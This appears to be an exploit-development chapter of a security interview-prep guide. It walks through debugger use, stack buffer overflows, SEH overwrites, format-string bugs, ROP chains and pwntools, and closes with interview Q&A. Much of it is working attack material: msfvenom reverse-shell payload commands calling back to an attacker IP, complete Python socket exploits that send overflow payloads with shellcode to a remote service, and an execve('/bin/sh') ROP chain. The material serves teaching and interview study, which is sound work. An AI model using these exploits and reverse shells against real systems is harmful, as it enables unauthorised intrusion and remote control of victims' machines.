Skip to content

Exploit Development

Why This Matters

Exploit development is the deepest technical skill in offensive security. Even if you never write production exploits, understanding memory corruption at the mechanism level changes how you read CVEs, assess patch urgency, and adapt public PoCs. Senior interview panels probe this to separate people who understand tools from people who understand what tools are doing.


Debugging Tools

Before writing any exploit, you need a debugger. Know at least one well.

Immunity Debugger + Mona.py (Windows)

Immunity Debugger is the classic tool for Windows exploit development. Mona.py is a plugin that automates the tedious parts.

# Install mona in Immunity:
# Copy mona.py to C:\Program Files\Immunity Inc\Immunity Debugger\PyCommands\

# Key mona commands:
!mona findmsp          # Find cyclic pattern offset in all registers
!mona jmp -r esp -cpb "\x00\x0a\x0d"  # Find JMP ESP, excluding bad chars
!mona seh -cpb "\x00\x0a\x0d"         # Find POP POP RET for SEH exploits
!mona bytearray -cpb "\x00"           # Generate byte array (bad char test)
!mona compare -f bytearray.bin -a esp # Compare memory vs byte array (find bad chars)
!mona modules                          # List all modules with protection info
!mona config -set workingfolder C:\mona\%p  # Set output directory

Key Immunity Debugger workflow: - F2 = Set/remove breakpoint

  • F7 = Step into

  • F8 = Step over

  • F9 = Run

  • Ctrl+G = Go to address

  • Right-click โ†’ Follow in Dump = view memory at address

GDB with pwndbg / GEF (Linux)

# Install pwndbg
git clone https://github.com/pwndbg/pwndbg
cd pwndbg && ./setup.sh

# Or GEF
bash -c "$(curl -fsSL https://gef.blah.cat/sh)"

# Launch
gdb ./binary
gdb --args ./binary arg1 arg2

# Key commands in pwndbg/GEF:
run                    # Run the program
run < input.txt        # Run with stdin from file
run $(python3 -c 'print("A"*200)')  # Run with argument

# Breakpoints
break main             # Break at function
break *0x08048456      # Break at address
info breakpoints       # List breakpoints

# Execution
ni                     # Next instruction (step over)
si                     # Step instruction (step into)
continue               # Continue execution
finish                 # Run until function returns

# Registers
info registers         # All registers
info registers eip     # Specific register
p $eip                 # Print register value
p/x $esp               # Print in hex

# Memory inspection
x/20x $esp             # Examine 20 hex words at ESP
x/20s $esp             # Examine as strings
x/i $eip               # Disassemble at EIP
x/40wx $esp            # 40 words in hex at ESP

# pwndbg specific:
cyclic 200             # Generate 200-byte De Bruijn pattern
cyclic -l 0x61616173   # Find offset of pattern value
checksec               # Show binary protections
vmmap                  # Virtual memory map
rop                    # ROP gadget search

# GEF specific:
pattern create 200     # Generate cyclic pattern
pattern search 0x61616173  # Find offset
checksec               # Binary protections
rop                    # ROP gadgets

WinDbg (Windows โ€” Advanced)

Used for kernel debugging and more complex Windows exploitation. Required for driver exploitation and advanced Windows research.

# Common WinDbg commands:
g          # Go (run)
p          # Step over
t          # Step into
bp address # Set breakpoint
bl         # List breakpoints
dd address # Display DWORD at address
da address # Display ASCII string at address
r          # Show registers
r eip      # Show specific register
u eip      # Unassemble at EIP
lm         # List modules
!analyze -v # Crash analysis (automatic)

Complete Stack Buffer Overflow โ€” Step by Step

This is the foundational exploit development skill. Understanding each step deeply is what interviews test.

The Vulnerability

// Vulnerable C code
#include <string.h>
#include <stdio.h>

void vulnerable(char *input) {
    char buffer[100];           // Fixed 100-byte buffer on stack
    strcpy(buffer, input);      // No length check โ€” classic vuln
    printf("Input: %s\n", buffer);
}

int main(int argc, char *argv[]) {
    vulnerable(argv[1]);
    return 0;
}

// Compile without protections (for learning):
// gcc -o vuln vuln.c -fno-stack-protector -z execstack -no-pie

Step 1: Confirm the Crash

#!/usr/bin/env python3
import subprocess, sys

# Start with small buffer and increase
for size in range(100, 2000, 100):
    payload = b"A" * size
    try:
        result = subprocess.run(['./vuln', payload], 
                               capture_output=True, timeout=5)
        print(f"Size {size}: returned {result.returncode}")
    except subprocess.TimeoutExpired:
        print(f"Size {size}: timeout (possible hang)")
        break

# For network services:
import socket

def send_payload(payload):
    s = socket.socket()
    s.connect(('target', 9999))
    s.recv(1024)           # Receive banner
    s.send(payload + b'\r\n')
    s.close()

for size in range(100, 5000, 100):
    send_payload(b'A' * size)
    print(f"Sent {size} bytes")

Step 2: Find Exact Offset (Cyclic Pattern)

# Generate unique cyclic pattern
msf-pattern_create -l 2000 > pattern.txt
# Or in pwndbg: cyclic 2000

# Send the pattern instead of As
# After crash, note the value in EIP
# Example: EIP = 0x39694438

# Find the offset
msf-pattern_offset -l 2000 -q 0x39694438
# [*] Exact match at offset 1978

# Verify: if EIP = 0x42424242 after this, offset is confirmed
python3 -c "
import struct
offset = 1978
payload = b'A' * offset + b'B' * 4 + b'C' * 100
print(repr(payload))
"

Step 3: Identify Bad Characters

Bad characters are bytes that the application strips, transforms, or treats as special โ€” they'll corrupt the payload if included.

# Generate all bytes 0x01-0xFF (0x00 is almost always bad โ€” null terminator)
badchars = bytes(range(0x01, 0x100))

# Send badchars after EIP overwrite, pointed at by ESP
# In debugger, examine memory at ESP โ€” look for where the sequence breaks

# Common bad characters:
# \x00 โ€” null byte (terminates C strings) โ€” almost always bad
# \x0a โ€” newline (LF) โ€” bad in line-based protocols
# \x0d โ€” carriage return (CR) โ€” bad in line-based protocols
# \x20 โ€” space โ€” bad if server splits on spaces
# \x26 โ€” & โ€” bad in URL-encoded data
# \x3d โ€” = โ€” bad in URL-encoded data
# \xff โ€” sometimes transformed

# Using mona to find bad chars:
# 1. Send bytearray after known offset
# !mona bytearray -cpb "\x00"   (generates bytearray.bin, excludes 0x00)
# 2. After crash, ESP points to your bytearray in memory
# 3. !mona compare -f bytearray.bin -a 0x[ESP address]
# 4. Mona shows which bytes are bad

Step 4: Find the Return Address (JMP ESP)

Instead of jumping to a static address (which ASLR randomizes), we find a JMP ESP instruction in a module loaded without ASLR. When EIP executes JMP ESP, it jumps to whatever ESP points to โ€” our shellcode.

# In Immunity + mona:
# Find JMP ESP in modules without ASLR/SafeSEH/DEP:
!mona jmp -r esp -cpb "\x00\x0a\x0d"
# Output: address, module, protections
# Look for: Rebase:False, SafeSEH:False, ASLR:False, NXCompat:False

# In GDB/pwndbg (Linux):
rop --search "jmp esp"
ROPgadget --binary ./vuln --rop | grep "jmp esp"

# Manual search in Immunity:
# Ctrl+F โ†’ Search for command โ†’ "JMP ESP"
# Or search in all modules: right-click in CPU โ†’ Search for โ†’ All sequences in all modules

# The address must:
# - Not contain bad characters
# - Be from a module without ASLR/Rebase
# Write address in little-endian (x86)
# e.g., 0x625011AF โ†’ \xAF\x11\x50\x62

Step 5: Generate and Encode Shellcode

# Generate reverse shell shellcode
# -p = payload, -b = bad characters, -f = output format
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -f python

# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00" \
  -f python

# 64-bit Linux
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00" \
  -f python

# Windows Meterpreter (more features)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00" \
  -f python

# With specific encoder (some AV evasion โ€” limited effectiveness now)
msfvenom -p windows/shell_reverse_tcp \
  LHOST=192.168.1.50 LPORT=4444 \
  -b "\x00\x0a\x0d" \
  -e x86/shikata_ga_nai -i 3 \
  -f python

Step 6: Final Exploit

#!/usr/bin/env python3
import socket, struct

# Configuration
RHOST = "192.168.1.100"
RPORT = 9999
LHOST = "192.168.1.50"  # Your IP for reverse shell

# Offset to EIP (from pattern_offset)
offset = 1978

# JMP ESP address from mona (in little-endian)
# Example: 0x625011AF
jmp_esp = struct.pack("<I", 0x625011AF)

# NOP sled โ€” gives some tolerance for shellcode position
nop_sled = b"\x90" * 16

# Shellcode from msfvenom (example โ€” generate your own)
shellcode = (
    b"\xda\xd0\xb8\x11\x22\x33\x44\xd9\x74\x24\xf4\x5b\x29\xc9"
    # ... rest of shellcode bytes ...
)

# Build the payload
payload = b"A" * offset          # Fill buffer up to EIP
payload += jmp_esp                # Overwrite EIP with JMP ESP address
payload += nop_sled               # NOP sled for reliability
payload += shellcode              # Reverse shell code

print(f"[*] Payload size: {len(payload)} bytes")
print(f"[*] Sending to {RHOST}:{RPORT}")

# Send to network service
s = socket.socket()
s.connect((RHOST, RPORT))
banner = s.recv(1024)
print(f"[*] Banner: {banner.decode()}")
s.send(payload + b'\r\n')
s.close()

print(f"[*] Done. Check your listener on port 4444")

SEH Overwrite โ€” In Depth

Windows uses a linked list of exception handler records on the stack. Each record:

โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  Next SEH (4 bytes) โ”‚  โ† Pointer to next handler record, or 0xFFFFFFFF if last
โ”‚  SE Handler (4 bytes)โ”‚  โ† Address of exception handler function
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

When the program crashes (access violation, divide by zero), Windows walks this chain and calls each SE Handler until one handles the exception.

Why Overwriting SEH Works

A buffer overflow that overwrites the stack will also overwrite the SEH record if the overflow is large enough. When the overflow itself causes an exception (likely โ€” you've corrupted the stack), Windows calls your overwritten SE Handler.

The POP POP RET Technique

You need the SE Handler to point somewhere useful. The trick:

  1. Point SE Handler at a POP reg; POP reg; RET gadget (not JMP ESP)
  2. When called as exception handler, Windows pushes two parameters on the stack before calling it: pointer to EXCEPTION_RECORD and pointer to EstablisherFrame (which is the NSEH address)
  3. POP reg; POP reg removes these two parameters
  4. RET returns to... the value now at the top of stack โ€” which is the NSEH address
  5. NSEH contains a short jump forward (\xeb\x06\x90\x90 = JMP +6, 2 NOPs) โ€” jumps over the SE Handler address into your shellcode
Stack layout at time of exception:
High addr
โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚   shellcode      โ”‚  โ† ESP + 8 (after two POPs and RET)
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
โ”‚  SE Handler      โ”‚  โ† 0x[POP POP RET address] โ† EIP points here
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  NSEH            โ”‚  โ† \xeb\x06\x90\x90 (short JMP +6)
โ”œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”ค
โ”‚  ... padding ... โ”‚
โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜
Low addr

Execution flow:
1. Exception fires โ†’ EIP = our SE Handler (POP POP RET gadget)
2. POP removes exception pointer from stack
3. POP removes NSEH pointer from stack (this is now ESP)
4. RET โ†’ jumps to NSEH address
5. NSEH has \xeb\x06 โ†’ JMP +6 โ†’ lands in shellcode (after \x90\x90 padding)
#!/usr/bin/env python3
import socket, struct

offset_to_nseh = 1034  # Offset to NSEH overwrite (from pattern)

# NSEH: short jump over SE Handler (+6 bytes) + 2 NOPs for alignment
nseh = b"\xeb\x06\x90\x90"

# SE Handler: POP POP RET gadget address (no SafeSEH, no ASLR)
# Example: 0x6250172B
seh = struct.pack("<I", 0x6250172B)

# NOP sled + shellcode
nop_sled = b"\x90" * 16
# shellcode = b"\x..." (msfvenom output)

payload = b"A" * offset_to_nseh
payload += nseh         # Overwrites Next SEH Record
payload += seh          # Overwrites SE Handler
payload += nop_sled
# payload += shellcode

s = socket.socket()
s.connect(("target", 9999))
s.recv(1024)
s.send(payload)
s.close()

Format String โ€” Exploitation Detail

Reading Arbitrary Memory

# printf(user_input) where user_input = "AAAA.%p.%p.%p.%p.%p.%p.%p.%p"
# Output: AAAA.0x1.0x804abc0.0xbffff3e4.(nil).0xbffff3e8.0xbffff448.0x41414141.0x...
# The 0x41414141 is our "AAAA" โ€” it appears at position 7

# We can directly address stack positions:
"AAAA%7$x"      โ†’ prints 0x41414141 (reading our own buffer)
"AAAA%7$s"      โ†’ prints string at address 0x41414141

# To read arbitrary memory, replace AAAA with target address:
# Read what's at 0x0804a010:
"\x10\xa0\x04\x08%7$s"   โ†’ prints string at 0x0804a010

Writing Arbitrary Memory (%n)

// %n writes number of bytes printed so far to address at corresponding argument
// This is the write primitive

// printf("AAAA%n")
// โ†’ Writes value 4 to address pointed to by next argument on stack

// To write to arbitrary address:
// 1. Place target address in our format string buffer
// 2. Use %[pos]$n to write to it

// Control the value written using width specifier:
// printf("AAAA%100x%n") โ†’ writes 104 (4 chars + 100 padding) to target address

// Writing a full address (4 bytes) โ€” must write in pieces (1 byte at a time)
// using %hhn (write 1 byte) to adjacent addresses

Practical Impact

Format string vulnerabilities enable:

  • Memory leak: Read stack/heap/code addresses โ†’ defeat ASLR

  • Arbitrary write: Overwrite GOT (Global Offset Table) entries โ†’ redirect function calls

  • Overwrite return address: Change where a function returns

  • Canary leak: Read stack canary value โ†’ bypass stack canary protection

# Using pwntools for format string exploitation:
from pwn import *

p = process('./vuln')

# Step 1: Find offset of your buffer on stack
# Send b"AAAA.%p.%p..." and count until 0x41414141 appears
offset = 7  # Position where our input appears

# Step 2: Leak addresses (defeat ASLR)
# Leak a libc address from GOT
payload = fmtstr_payload(offset, {target_addr: value_to_write})

ROP โ€” Return-Oriented Programming (Concepts)

ROP bypasses DEP/NX by chaining existing executable code rather than injecting new shellcode.

The Concept

Traditional shellcode injection:
  Overwrite EIP โ†’ point to shellcode in stack/heap
  DEP/NX marks these regions non-executable โ†’ CRASH

ROP approach:
  Chain short code sequences ("gadgets") already in executable memory
  Each gadget ends with RET โ€” pops next address from stack, continues chain

  Stack layout for ROP chain:
  โ”Œโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”
  โ”‚  gadget1 address     โ”‚  โ† EIP lands here
  โ”‚  gadget2 address     โ”‚  โ† gadget1's RET pops this into EIP
  โ”‚  gadget3 address     โ”‚  โ† gadget2's RET pops this into EIP
  โ”‚  0xdeadbeef          โ”‚  โ† argument to gadget3 if needed
  โ”‚  ...                 โ”‚
  โ””โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”˜

Finding Gadgets

# ROPgadget โ€” comprehensive gadget finder
ROPgadget --binary ./vuln --rop
ROPgadget --binary ./vuln --rop | grep "pop eax"
ROPgadget --binary /lib/i386-linux-gnu/libc.so.6 --rop | grep "int 0x80"

# ropper
ropper -f ./vuln --search "pop eax"
ropper -f ./vuln --chain "execve"  # Automatically build execve chain

# pwndbg
rop --search "pop rdi"
rop --search "ret"   # Find clean RET for stack alignment

Common ROP Chain Goal: Call execve("/bin/sh")

from pwn import *

# Linux x86 execve("/bin/sh", NULL, NULL)
# System call number 11 (0xb) in eax
# ebx = pointer to "/bin/sh" string
# ecx = 0 (NULL)
# edx = 0 (NULL)
# int 0x80 to trigger syscall

# Find gadgets:
# pop eax; ret    โ†’ 0x080b8916
# pop ebx; ret    โ†’ 0x080481c9
# pop ecx; ret    โ†’ 0x080e5650  
# pop edx; ret    โ†’ 0x0806ecda
# int 0x80; ret   โ†’ 0x08049421

# "/bin/sh" string address in memory (from libc or writable section)
bin_sh = 0x08048abc

rop_chain = p32(0x080b8916)  # pop eax; ret
rop_chain += p32(0x0b)       # eax = 11 (execve syscall number)
rop_chain += p32(0x080481c9) # pop ebx; ret
rop_chain += p32(bin_sh)     # ebx = "/bin/sh" address
rop_chain += p32(0x080e5650) # pop ecx; ret
rop_chain += p32(0)          # ecx = NULL
rop_chain += p32(0x0806ecda) # pop edx; ret
rop_chain += p32(0)          # edx = NULL
rop_chain += p32(0x08049421) # int 0x80 โ†’ execve("/bin/sh", NULL, NULL)

ret2libc โ€” Simpler ROP Approach

Instead of building a full ROP chain, call libc's system("/bin/sh") directly:

# Find system() and "/bin/sh" in libc
# objdump -d /lib/i386-linux-gnu/libc.so.6 | grep "<system>"
# strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep "/bin/sh"

# Stack layout for ret2libc:
# [padding][system_addr][return_addr_after_system][bin_sh_addr]
#                                โ†‘ usually 0xdeadbeef or exit()

from pwn import *

libc = ELF('/lib/i386-linux-gnu/libc.so.6')
system_addr = libc.symbols['system']
bin_sh_addr = next(libc.search(b'/bin/sh'))
exit_addr = libc.symbols['exit']

payload = b"A" * offset
payload += p32(system_addr)   # Call system()
payload += p32(exit_addr)     # Return cleanly after system
payload += p32(bin_sh_addr)   # Argument to system()

pwntools โ€” The Python Exploit Framework

from pwn import *

# Connect to target
p = process('./vuln')           # Local binary
p = remote('target', 9999)      # Remote service
p = gdb.debug('./vuln', 'break main')  # Attach GDB

# Send/receive
p.sendline(b"payload")         # Send with newline
p.send(b"payload")             # Send without newline
p.sendafter(b"prompt:", b"input")  # Send after receiving specific string
p.recvline()                   # Receive line
p.recv(100)                    # Receive 100 bytes
p.recvuntil(b":")              # Receive until string
p.interactive()                # Switch to interactive mode

# Packing integers
p32(0xdeadbeef)               # Pack as 32-bit little-endian
p64(0xdeadbeef)               # Pack as 64-bit little-endian
u32(b"\xef\xbe\xad\xde")     # Unpack 32-bit little-endian

# Cyclic patterns
cyclic(200)                   # Generate 200-byte pattern
cyclic_find(0x61616173)       # Find offset of pattern

# ELF analysis
elf = ELF('./vuln')
elf.symbols['main']           # Address of function
elf.got['printf']             # GOT entry for printf
elf.plt['printf']             # PLT entry for printf
elf.bss()                     # Start of BSS section

# ROP chain building
rop = ROP(elf)
rop.call('system', [next(elf.search(b'/bin/sh'))])
print(rop.dump())

# Logging
log.info(f"Found offset: {offset}")
log.success(f"Exploit worked!")
log.warning(f"Trying different approach...")

Interview Q&A โ€” Exploit Development

Q: What is the difference between a stack overflow and a heap overflow?

Stack overflows corrupt the call stack โ€” overwriting local variables, saved frame pointers, and return addresses. The return address overwrite is the classic exploitation path because it directly controls EIP/RIP when the function returns.

Heap overflows corrupt dynamically allocated memory. The heap has different metadata structures (chunk headers, free lists, bin pointers depending on the allocator) that can be corrupted to achieve arbitrary writes. Heap exploitation is generally more complex and allocator-dependent (glibc's ptmalloc, Windows HeapAlloc, jemalloc, tcmalloc all behave differently).

Q: Why does ASLR make exploitation harder but not impossible?

ASLR randomizes the base addresses of the stack, heap, and loaded libraries each run โ€” making the address of your shellcode or a useful gadget unpredictable. But it's not impossible to bypass because:

  • 32-bit ASLR has only ~256 possible positions for the stack โ€” brute-forceable in seconds

  • Information leaks (format string, use-after-free, etc.) can reveal the actual base address, defeating ASLR

  • Some regions may not be randomized (e.g., the main binary if not compiled with PIE)

  • Partial overwrites: if you can overwrite only the lower bytes of a return address (which aren't randomized in ASLR), you can redirect to nearby code without knowing the full address

Q: What is a NOP sled and why is it used?

A NOP sled is a sequence of NOP (no operation) instructions placed before shellcode. Its purpose is to give the exploit some tolerance โ€” instead of the return address needing to land exactly on the first byte of shellcode, it can land anywhere in the NOP sled and "slide" down to the shellcode. Useful when the exact stack position varies slightly between runs or environments.

Less useful in modern exploitation where ASLR makes the stack position unpredictable by many bytes, not just a few.